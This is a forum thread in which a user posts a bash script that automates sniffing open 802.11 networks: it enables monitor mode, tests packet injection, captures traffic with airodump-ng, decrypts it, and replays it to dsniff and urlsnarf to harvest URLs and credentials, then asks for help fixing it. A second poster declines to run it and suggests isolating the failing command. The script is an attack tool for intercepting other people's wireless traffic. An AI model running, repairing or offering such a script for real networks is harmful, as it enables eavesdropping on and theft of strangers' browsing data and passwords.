voguendi Posted January 22, 2016 Share Posted January 22, 2016 Hi ! I wrote this script to sniff on OPN 802.11 networks and extract URLs but it seems that the last part with Urlsnarf doesn't work ! Can you please help me to correct it? #!/bin/bash# My first script#enter functionspress_enterandstop(){ echo -en "\nPress Enter to continue" read #airmon-ng stop mon0}press_enternoclear(){ echo -en "\nPress Enter to continue" read}press_enter(){ echo -en "\nPress Enter to continue" read clear}#kill NeworkManagerselection= until [ "$selection" = "1" ]; do echo " NeworkManager 1 - Stop NetworkManager 2 - Restart NetworkManager 0 - exit program" echo -n "Enter selection: " read selection echo "" case $selection in 1 ) service NetworkManager stop ; press_enter ;; 2 ) service NetworkManager restart ; press_enter ;; 0 ) exit ;; * ) echo "Please enter 1, 2, or 0"; press_enter esac doneecho "Seting monitor mode"iwconfigpress_enternoclear;function monitormode(){ echo -n "Type the network interface " read wlan airmon-ng start $wlan}monitormode;#Checking the mon interface#Checking monitor modefunction mon(){ ifconfig -s -a | grep -i "mon"> moninterface.txt mon=`head -n 1 moninterface.txt | cut -c -4` echo $mon press_enternoclear; echo "Checking injection capabilities" aireplay-ng -9 $mon #press_enternoclear; #Capturing export CAPT_DIR=/home/leila/bin/captures export CAPT_DEST=$CAPT_DIR/capture mkdir -p $CAPT_DIR airodump-ng -w $CAPT_DEST $mon press_enternoclear;}mon; #Decrypting the filesfunction decryptap(){ f=`ls -w 1 $CAPT_DIR/capture-??.cap | tail -n 1` echo -n "Type the AP " read ap airdecap-ng -e "$ap" $f g=`ls -w 1 $CAPT_DIR/capture-??-dec.cap | tail -n 1` tcpdump -r $g -vvv > suctest.txt dsniff -i lo > sniff.txt & urlsnarf -i lo > url.txt & tcpreplay -i lo -t $g echo "finish"}decryptap;airmon-ng stop $mon Quote Link to comment Share on other sites More sharing options...
cooper Posted January 25, 2016 Share Posted January 25, 2016 Dude, I'm not going to run your script for you. Assuming it doesn't obliterate my network it makes a shitload of assumptions about tools that are present on the system. So here's a thought: Isolate the specific command that doesn't do what you think it should do. Tell us this command, what it does do (or the error/output it produces) and what it should be doing. Go from there. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.